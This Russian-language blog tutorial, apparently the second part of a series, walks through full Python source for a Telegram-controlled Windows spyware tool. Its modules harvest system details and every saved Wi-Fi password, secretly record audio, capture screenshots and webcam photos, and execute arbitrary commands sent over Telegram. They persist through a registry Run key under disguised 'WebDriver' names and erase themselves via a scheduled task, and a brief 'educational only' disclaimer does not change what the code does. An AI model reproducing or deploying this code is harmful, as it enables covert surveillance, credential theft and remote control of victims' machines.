Введение
Ссылка на первую часть, немного ужал название)
Всем привет, в этой части мы добавим функционала нашему SpyWare, чтоб было поинтереснее следить за кем то отслеживать что творится с нашим компом, пока нас нет рядом. Давайте начинать =)
Функционал
Давайте заранее рассмотрим структуру нашего проекта, чтобы было понятно, где и какие файлы хранятся. Дерево нашего проекта выглядит следующим образом:
TGSpySystem:.
│ config.py
│ main.py
│ tg_config.py
│
├───modules
│ audio.py
│ cmd_shell.py
│ destroyer.py
│ getinfo.py
│ pc_eyes.py
│ regedit.py
│ __init__.py
│
├───temp
│ webDriver.bat
│ webDriverUpdates.vbs
│
└───tg
dispatcher.py
handlers.py
utils.py
__init__.py
А теперь можно переходить к самому интересному. В прошлой части мы уже написали простенький метод, который будет сигнализировать нам о том, что кто-то уже авторизовался в системе. Напишем еще один маленький метод который будет отвечать на наш запрос в случае, если ПК еще включен. Метод до безобразия прост и находится в handlers.py
:
@dp.message_handler(commands="check")
async def system_check(message: types.Message):
await message.answer("System status: online")
Он будет отвечать на наш запрос /check
сообщением "System status: online"
и ничего более тут не происходит)
Получение информации
Переходим к разработке нашего первого и самого объемного модуля GetInfo
который находится по пути modules\getinfo.py
. С его помощью мы будем собирать полезную информацию как IP адрес, пароль от Wi-Fi или запущенные процессы нашей victim цели. Для начала импортируем необходимые модули и создадим наш класс с его первым методом get_pc_info()
.
import psutil
import platform
import socket
import getpass
from datetime import datetime
from uuid import getnode as get_mac
class GetInfo:
@staticmethod
def get_pc_info() -> str:
username = getpass.getuser()
ip = socket.gethostbyname(socket.gethostname())
mac = get_mac()
os_info = platform.uname()
zone = psutil.boot_time()
os_time = datetime.fromtimestamp(zone)
cpu_data = psutil.cpu_freq()
result = (f"Username: {username}\n"
f"local IP address: {ip}\n"
f"MAC address: {mac}\n"
f"Timezone: {os_time.year}/{os_time.month}/{os_time.day}"
f" {os_time.hour}:{os_time.minute}:{os_time.second}\n"
f"Operating System: {os_info.system}\n"
f"Processor: {os_info.processor}\n"
f"Max Frequency: {cpu_data.max:.2f} Mhz\n"
f"Min Frequency: {cpu_data.min:.2f} Mhz\n"
f"Current Frequency: {cpu_data.current:.2f} Mhz\n")
return result
Так как нам не нужен доступ ни к классу ни к его экземплярам, мы можем делать этот метод статическим. Методу не требуются входные данные, при помощи сторонних модулей он собирает интересную для нас информации и возвращает нам легко читабельный результат отформатированные при помощи f-строк. И сразу же добавляем хэндлер для нашего нового метода в handlers.py
.
@dp.message_handler(commands="pc_info")
async def send_pc_info(message: types.Message):
result = modules.GetInfo.get_pc_info()
await message.answer(result)
При получении ботом команды /pc_info
он будет запускать метод get_pc_info()
, так как метод статический, инициализация класса не обязательна, на не нужен доступ к его внутренним переменным и данным. Мы отнесли этот метод сюда, так как он схож по своей сути и цели с остальными методами класса и таким образом мы объединяем их в группу.
Следующий метод get_connection_info()
выдает нам данные о скорость загрузки и отдачи нашего интернет соединения. Метод так же ничего не принимает на вход и является статическим.
from speedtest import Speedtest
@staticmethod
def get_connection_info() -> str:
start = datetime.now()
inet = Speedtest()
download_speed = float(f"{str(inet.download())[0:2]}.{str(round(inet.download(), 2))[1]}") * 0.125
upload_speed = float(f"{str(inet.upload())[0:2]}.{str(round(inet.download(), 2))[1]}") * 0.125
ends = datetime.now()
work_speed = format(ends - start)
result = (f"Work speed: {work_speed}\n"
f"Download: {download_speed} MB/s\n"
f"Upload: {upload_speed} MB/s\n")
return result
Для работы метода нам необходимо импортировать сторонний модуль Speedtest
, а datetime
мы уже импортировали ранее. С его помощью мы получаем значения загрузки и отдачи данных также получаем время до и после выполнения, чтобы узнать затраченное время. В конце форматируем результат и возвращаем его. И снова добавляем обработчик для нового метода.
@dp.message_handler(commands="con_info")
async def send_connection_info(message: types.Message):
result = modules.GetInfo.get_connection_info()
await message.answer(result)
Получив /con_info
, бот отправит нам информацию о скорости интернет соединения. Инициализировать GetInfo
снова не нужно.
Теперь рассмотрим маленький метод get_process()
, данный метод просто выводит нам список запущенных процессов и немного информации о них. Как и зачем им пользоваться ? Я думаю каждый найдет свой ответ)
from subprocess import Popen, PIPE
@staticmethod
def get_process() -> str:
return ' '.join([line.decode("cp866", "ignore") for line in Popen("tasklist", stdout=PIPE).stdout.readlines()])
Снова статический метод, который, если опустить все подробности, просто выполняет tasklist
форматирует и возвращает результат. Для работы импортировать Popen
и PIPE
. Сейчас наш обработчик немного изменится.
@dp.message_handler(commands="proc_info")
async def send_process_info(message: types.Message):
result = modules.GetInfo.get_process()
await reply_handler(message=message, data=result)
Так как максимальная длинна сообщения/поста в Telegram 4096 символов, нам необходим некий обработчик, чтобы избежать ошибок. Так как такая ситуация встречается не только в этом случае, я решил вынести этот метод в другой модуль (вдруг потом появятся еще утилиты). Так же избегаем повторения кода и соблюдаем принцип программирования DRY.
Наш метод reply_handler(message: types.Message, data: str)
будет храниться в файле tg\utils.py
.
async def reply_handler(message: types.Message, data: str):
if len(data) > 4096:
for x in range(0, len(data), 4096):
await message.answer(data[x:x + 4096])
else:
await message.answer(data)
Так как наш бот асинхронный, его утилиты тоже должны быть асинхронными. Конечно можно было делать бота синхронным, но изначальна я думал разрешить нескольким пользователям мониторить систему, а чтоб можно было выполнять несколько процессов параллельно, нам нужна асинхронность, если будет интересно, доработаем нашу систему для нескольких пользователей. На вход мы получаем контекст сообщения и данные необходимые для обработки. Проверяем длину сообщения и дробим его при необходимости, а после отправляем результат.
Следующий метод get_wifi_info()
был очень полезен для меня. Если кто-то приходит в гости и просит пароль от твоего Wi-Fi, а ты вечно не знаешь где он и тебе лень его искать. Всегда можно посмотреть с помощью этого метода. Ну или использовать его еще для каких то целей, например попадания в одну сеть для ...
from subprocess import check_output
@staticmethod
def get_wifi_info() -> str:
passwords = []
data = check_output(['netsh', 'wlan', 'show', 'profiles']).decode('cp866').split('\n')
wifi_list = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
for wifi in wifi_list:
results = check_output(['netsh', 'wlan', 'show', 'profile', wifi, 'key=clear']).decode('cp866').split('\n')
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
try:
passwords.append(f'Network name: {wifi}\nPassword: {results[0]}')
except IndexError:
passwords.append(f'Network name: {wifi}, Password not found!')
return "\n".join(passwords)
Снова статический метода и для его работы нам нужен метод check_output
, который выполнит команду и вернет нам результат. После мы его обрабатываем и получим все Wi-Fi и их пароли к которым когда-либо подключался ваш ПК. В случае ноутбуков это более интересно, так как у меня было около 20 таких связок и почти все они были действительны до сих пор. К сожалению метод только для русских версий Windows, руки не дошли переписать его через регулярные выражения на две версии. Ну и конечно же хэндлер.
@dp.message_handler(commands="wifi_info")
async def send_wifi_info(message: types.Message):
result = modules.GetInfo.get_wifi_info()
await message.answer(result)
Тут все стандартно, отправляем команду /wifi_info
и наблюдаем результат в нашем чате с ботом.
Ну и настало время крайнего, но не менее интересного метода get_pub_ip_info(self)
. Он позволяет получить данные о публичном IP адресе и данные о нем (страна, город, провайдера и т.д.). Все это благодаря сторонним сервисам.
import requests
from bs4 import BeautifulSoup
def get_pub_ip_info(self) -> str:
public_ip = requests.get('https://api.ipify.org').text
try:
page_response = requests.get(f'https://check-host.net/ip-info?host={public_ip}')
if page_response.status_code == 200:
page_content = BeautifulSoup(page_response.content, "html.parser")
ip_info = page_content.find("div", {"id": "ip_info-ipgeolocation"})
print(ip_info)
return self.__ip_answer_formatting(ip_info.text)
else:
return f"Check permissions, status code: {page_response.status_code}"
except requests.Timeout as e:
self.__request_count += 1
if self.__request_count > 5:
return f"Need timeout: {e}"
else:
self.get_pub_ip_info()
except Exception as e:
return f"Error: {e}"
Для работы метода нам необходимо импортировать модули requests
и самый полезный, на мой взгляд, модуль для скрапингаbs4
. Далее мы получаем наш публичный IP адрес благодаря гетовому запросу на https://api.ipify.org/
. После чего отправляем так же гетовый запрос на https://check-host.net/ip-info?host={public_ip}
, где в конце добавляем наш, полученный ранее, IP адрес, проверяем статус код и парсим всю необходимую нам информацию. После чего форматируем наш результат другим методом __ip_answer_formatting(ip_info: str)
, который мы вынесли отдельно, чтоб не захламлять наш код.
@staticmethod
def __ip_answer_formatting(ip_info: str) -> str:
__answer_list = []
ip_data_list = list(filter(None, ip_info.split("\n")))
ip_data_list.remove("CIDR")
for i in range(len(ip_data_list)):
if (i + 1) % 2 != 0:
__answer_list.append(f"{ip_data_list[i]}: ")
else:
__answer_list.append(f"{ip_data_list[i]}\n")
return "".join(__answer_list)
Метод просто форматирует результат в более читаемый вид, давайте закроем глаза на то, что метод выглядит как костыль)
В конце метода get_pub_ip_info(self)
идет обработка исключений, так как я столкнулся только с одним, я сделал так, чтоб бот присылал мне новые сам и я их обрабатывал позже. Но для первого исключения нам нужно инициализировать переменную класса.
def __init__(self):
self.__request_count = 0
Она будет считать количество не успешных соединений и если их больше 5, прерывать работу метода сообщением об ошибке. Ну и конечно же не забываем про наш хэндлер.
@dp.message_handler(commands="pub_ip_info")
async def send_connection_info(message: types.Message):
result = modules.GetInfo().get_pub_ip_info()
await message.answer(result)
Так как метод не статический и ему нужен доступ к переменным нашего экземпляра, нам необходимо инициализировать GetInfo()
и только потом, вызвать наш метод. Для запуска нужно отправить команду /pub_ip_info
.
Наши глаза и уши
В этой части мы рассмотрим работу сразу двух модулей, но чем то похожих между собой(наверное просто связаны с чувствами человека как зрение и слух). Модуль modules\pc_eyes.py
отвечающий за наше зрение и modules\audio.py
за наш слух. Начнем со слуха)
import wave
import pyaudio
from config import RECORD_PATH
class AudioRecording:
@staticmethod
def recording(second: int = 5) -> str:
chunk = 1024
formats = pyaudio.paInt16
channels = 2
rate = 44100
p = pyaudio.PyAudio()
stream = p.open(format=formats,
channels=channels,
rate=rate,
input=True,
frames_per_buffer=chunk)
frames = []
for i in range(0, int(rate / chunk * second)):
data = stream.read(chunk)
frames.append(data)
stream.stop_stream()
stream.close()
p.terminate()
wf = wave.open(RECORD_PATH, "wb")
wf.setnchannels(channels)
wf.setsampwidth(p.get_sample_size(formats))
wf.setframerate(rate)
wf.writeframes(b''.join(frames))
wf.close()
return RECORD_PATH
Импортируем модули pyaudio
и wave
. Первый кроссплатформенный модуль ввода-вывода звука. Второй используем для сохранения аудио файла. Также из файла .config.py
импортируем RECORD_PATH
, который указывает место хранения файла.
import os
import tempfile
PC_TEMP_DIR = tempfile.gettempdir()
RECORD_PATH = os.path.join(PC_TEMP_DIR, "sound.wav")
Тут мы видим часть нашего .config.py
. Модуль tempfile
получает путь к директории с временными файлами из переменной окружения ОС и хранит его в PC_TEMP_DIR
, мы еще не раз увидим эту переменную, там мы будем хранить наши временные файлы, которые нам не нужны и подлежат удалению.
Наш новый метод recording(second: int = 5)
на вход получает количество секунд для нашей аудио записи, по умолчанию 5 секунд. Далее мы настраиваем параметры звука записи, разбиваем ее по частям и записываем в байтах. В конце возвращаем путь к нашему файлу на ПК жертвы. Теперь хэндлер.
@dp.message_handler(commands="audio")
async def send_audio(message: types.Message):
if len(message.text.split(" ")) == 2:
seconds_count = int(message.text.split(" ")[-1])
audio_path = modules.AudioRecording.recording(seconds_count)
else:
audio_path = modules.AudioRecording.recording()
await message.answer_audio(open(audio_path, "rb"))
os.remove(audio_path)
Срабатывает при команде /audio
, можно передавать с параметром, указывающим на количество секунд (Пример: /audio 10
). Я не добавлял никаких проверок и исключений ибо надеюсь, что никто не додумается пихать в команду строки и гигантские значения, это добавите в пару строк сами, при необходимости. Тут мы просто проверяем количество аргументов и в конце удаляем наш файл с компа.
Теперь рассмотрим модуль отвечающий за наше зрение)
import cv2
import win32api
import win32con
import win32gui
import win32ui
from PIL import Image
from config import SCREENSHOT_PATH, WEBCAM_SCREEN_PATH
class PCEyes:
@staticmethod
def __get_dimensions():
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
return width, height, left, top
def make_screenshot(self):
hdesktop = win32gui.GetDesktopWindow()
width, height, left, top = self.__get_dimensions()
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
mem_dc = img_dc.CreateCompatibleDC()
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
bmp_info = screenshot.GetInfo()
bmp_str = screenshot.GetBitmapBits(True)
img = Image.frombuffer(
'RGB',
(bmp_info['bmWidth'], bmp_info['bmHeight']),
bmp_str, 'raw', 'BGRX', 0, 1)
img.save(f'{SCREENSHOT_PATH}.jpeg', 'jpeg')
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
return f"{SCREENSHOT_PATH}.jpeg"
@staticmethod
def make_webcam_screen() -> str:
cap = cv2.VideoCapture(0)
for i in range(30):
cap.read()
ret, frame = cap.read()
cv2.imwrite(WEBCAM_SCREEN_PATH, frame)
cap.release()
return WEBCAM_SCREEN_PATH
Как и всегда начинаем с импорта модулей. Возможно появятся вопросы, почему скриншот делается не через Pillow
, а через win32
, все просто, с первом вариантом у меня было много ошибок и во избежания головной боли я выбрал win32
. Сразу рассмотрим наш .config.py
.
SCREENSHOT_PATH = os.path.join(PC_TEMP_DIR, "screenshot")
WEBCAM_SCREEN_PATH = os.path.join(PC_TEMP_DIR, "webcam.jpg")
А тут все то же самое, что мы уже наблюдали выше. Так что возвращаемся к нашему модулю. В методе __get_dimensions()
получаем разрешение нашего экрана, для скриншота. Методомmake_screenshot(self)
делаем его и сохраняем в .jpeg
, кстати метод принимает self
, что дает нам доступ к атрибутам экземпляра класса, которым и является выше рассмотренный метод __get_dimensions()
. Ну и последний, но самый интересный метод на мой взгляд make_webcam_screen()
делает снимок с веб-камеры, в первой строчке можно выбирать ее номер и для этого метода мы используем модуль для ComputerVision. Данный метод мне предоставляет больше удовольствия чем игры с revers shell (но он тут тоже будет), только представьте, получаете сообщение от бота, что кто-то запустил ваш ПК. Вы делаете снимок с веб-камеры а там ...
Ваш пушистый друг, играет в дотку с вашего компа, пока вы на работе, но это все в лучшем случае) На этой позитивной ноте мы готовы переходить к следующему модулю, хоть он и мал, но открывает безграничные возможности.
Revers Shell
Данный метод хранится в modules\cmd_shell.py
.
import subprocess
class Shell:
@staticmethod
def run_something(something: str) -> str:
"""
Disclaimer:
This module is used exclusively for educational purposes.
I do not support and condemn any cybercrime.
Remember about escaping characters.
"""
return subprocess.check_output(something).decode("cp866", "ignore")
Я решил не изобретать тут велосипед и сделал все максимально просто. Вы можете отправить команду на исполнение и не только ... Я думаю тут каждый найдет чем позаниматься, от запуска калькулятора до выхода из системы, модуль на ваше воображение. По этой ссылке вы можете примерно ознакомиться с возможностями, но ограничения только у вас в голове)
Хэндлер для этого волшебного метода выглядит следующим образом.
@dp.message_handler(commands="exec")
async def cmd_exec(message: types.Message):
if len(message.text.split(" ")) >= 2:
command = " ".join(message.text.split(" ")[1:])
try:
# opens cmd in the tg console and breaks the chat
if "cmd" not in command:
exec_data = modules.Shell().run_something(command)
await reply_handler(message=message, data=exec_data)
# an error is caused when launching files
except MessageTextIsEmpty:
pass
except CantParseEntities:
await message.answer("Please use this command with the flag")
except Exception as e:
await message.answer(f"New Error: {e}")
else:
await message.answer("Write your command")
Тут я сталкивался с большим количеством ошибок, при тестах, там есть пару комментариев и я их тут оставлю для вас. Запускается /exec c - (c - command)
таким вот способом, где после первого аргумента идет ваша команда. Кстати, тут нам и пригодился наш обработчик длины сообщений во второй раз.
Закрепление
Какое SpyWare может существовать без модуля, который поможет ему закрепиться в системе, тут мы его и разработаем. Путь к нему modules\regedit.py
и давайте приступать к разбору.
import os
from typing import TypeVar
from config import PROJECT_TEMP_DIR, BASE_DIR, MAIN_FILENAME, AUTORUN_NAME, RUN_FILENAME, BAT_FILENAME, PYTHON_INTERPRETER_PATH
from winreg import OpenKey, SetValueEx, DeleteValue, CloseKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, REG_SZ
# generic annotations
PyHKEY = TypeVar("PyHKEY")
class RegEdit:
def __init__(self):
self.autorun_path: str = os.path.join(PROJECT_TEMP_DIR, RUN_FILENAME)
self.bat_file_path: str = os.path.join(PROJECT_TEMP_DIR, BAT_FILENAME)
self.key_reg: PyHKEY = OpenKey(HKEY_CURRENT_USER,
r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
0, KEY_ALL_ACCESS)
def __create_temp_files(self):
with open(self.bat_file_path, "w") as file:
file.write(f"@echo off\n"
f"{PYTHON_INTERPRETER_PATH} {os.path.join(BASE_DIR, MAIN_FILENAME)}")
with open(self.autorun_path, "w") as file:
file.write(f'Set WshShell = CreateObject("WScript.Shell")\n'
f'WshShell.Run chr(34) & "{self.bat_file_path}" & Chr(34), 0\n'
f'Set WshShell = Nothing')
def create_autorun(self) -> bool:
self.__create_temp_files()
SetValueEx(self.key_reg, AUTORUN_NAME, 0, REG_SZ, self.autorun_path)
CloseKey(self.key_reg)
return True
def delete_autorun(self) -> bool:
DeleteValue(self.key_reg, AUTORUN_NAME)
os.remove(self.bat_file_path)
os.remove(self.autorun_path)
return True
И сразу .config.py
.
import subprocess
BASE_DIR = os.path.dirname(os.path.realpath(__file__))
PROJECT_TEMP_DIR = os.path.join(BASE_DIR, "temp")
# first from venv
PYTHON_INTERPRETER_PATH = (subprocess.check_output("where python", shell=True).decode()).split()[-1]
MAIN_FILENAME = "main.py"
AUTORUN_NAME = "WebDrive"
BAT_FILENAME = "WebDriver.bat"
RUN_FILENAME = "WebDriverUpdates.vbs"
Тут мы получаем путь к python интерпретатору, чтобы не привязываться к venv и выбираем название для нашего сервиса, который далее пойдет в автозапуск. Вернемся к нашим методам и начнем с __init__(self)
тут мы определяем атрибуты для нашего класса как ключ реестра, отвечающий за автозапуск и два файла, которые и будут творить всю магию. Метод __create_temp_files(self)
создает два файла в .temp
каталоге, которые нужны нам для автозапуска. Далее все просто, метод create_autorun(self)
устанавливает в значение ключа реестра наш .vbs
скрипт и закрывает ключ, а метод delete_autorun(self)
наоборот удаляет наш скрипт от туда и удаляет наши временные файлы. Кстати оба эти метода возвращают True
либо False
, чтоб было легче отследить успех выполнения. Теперь наши хэндлеры.
@dp.message_handler(commands="reg_autorun")
async def add_to_autorun(message: types.Message):
if modules.RegEdit().create_autorun():
await message.answer("System append to registry")
else:
await message.answer("System don't append to registry")
@dp.message_handler(commands="del_autorun")
async def add_to_autorun(message: types.Message):
if modules.RegEdit().delete_autorun():
await message.answer("System del from registry")
else:
await message.answer("System don't del from registry")
Для закрепления в системе необходимо отправить команду /reg_autorun
и наша программа попадет в список команд, которые запускаются вместе с ПК и для обратного эффекта используем команду /del_autorun
. Настало время крайнего модуля.
Заметаем следы
Рассмотрим наш модуль modules\destroyer.py
который будет удалять наше ПО с компа и все ее файлы.
import os
import time
import subprocess
from datetime import datetime
from config import TASK_NAME, DESTROYER_FILENAME, BASE_DIR
class Destroyer:
@staticmethod
def __create_file_destroyer():
with open(DESTROYER_FILENAME, "w") as f:
f.write(f"@echo off\n"
f"SCHTASKS /Delete /TN {TASK_NAME} /F\n"
f"rmdir /s /q {BASE_DIR}")
def delete_the_program(self):
self.__create_file_destroyer()
unix_timestamp = time.time() + 60
scheduled_time = datetime.fromtimestamp(unix_timestamp).strftime("%H:%M")
subprocess.run(rf"SCHTASKS /Create /SC ONCE /ST {scheduled_time} /F /TN {TASK_NAME} /TR {os.path.join(BASE_DIR, DESTROYER_FILENAME)}")
Ну и по традиции сразу взглянем на .config.py
.
BASE_DIR = os.path.dirname(os.path.realpath(__file__))
DESTROYER_FILENAME = "destroyer.bat"
TASK_NAME = "WebDriverRemoving"
BASE_DIR
нам понадобится, чтоб указать от куда начинать форматирование, далее название нашего файла и имя задачи. Возвращаемся к методам. Метод __create_file_destroyer()
создает инструкцию для нашей таски, а delete_the_program(self)
создает таску для планировщика, которая выполнится через минуту. Кстати во время тестирования заметил такую вещь, что если запускать это на ноутбуке, то для срабатывания он должен быть подключен к сети. Это можно отключить флажком в самом планировщике в данной таске, но через команду не смог найти, вот ссылка для ваших тасок, если кому будет интересно добавить что-то свое. Ну и куда же без нашего обработчика, в этот раз с ироничным названием.
@dp.message_handler(commands="destroy")
async def red_button(message: types.Message):
await message.answer("I'm going to miss you!")
modules.Destroyer().delete_the_program()
raise SystemExit
Инициализируется самоуничтожение командой /destroy
. Получаем наше крайнее сообщение и прощаемся с доступом, генерируем исключение, так как программа удалится в течение минуты.
Также у нас еще есть хэндлер для отключения бота в текущей сессии, работает по команде /exit
.
@dp.message_handler(commands="exit")
async def cmd_exit(message: types.Message):
await message.answer("Goodbye!")
raise SystemExit
Еще один момент, файл modules\__init__.py
.
from modules.regedit import RegEdit
from modules.getinfo import GetInfo
from modules.pc_eyes import PCEyes
from modules.audio import AudioRecording
from modules.cmd_shell import Shell
from modules.destroyer import Destroyer
Так как мы вызываем наши модули только в одном месте. Импортируем сразу все с помощью просто импорта import modules
, а не каждого по отдельности в tg\handlers.py
.
Заключение
Теперь мы создали полноценный SpyWare, с revers shell-ом и другими приятными фичами, но только в образовательных целях, конечно же). Black Hat это конечно же весело, но можно получить по рукам, так что выбирайте сторону White Hat и там тоже можно получать удовольствие). Надеюсь статья была полезной и информативной для вас, но не забывайте, что это минимальный мануал, многие методы вы можете переписать для ваших задач. Также можете расширить функционал или оптимизировать и поделиться со мной, мне будет интересно посмотреть, ну или можете предложить ваши идеи, постараюсь реализовать в свободное время). Спасибо за уделенное мне время и до новых встреч ;)
Тут оставляю ссылочку на проект еще раз, на всякий)
Также добавляйтесь в друзья в LinkedIn, буду рад новым знакомствам)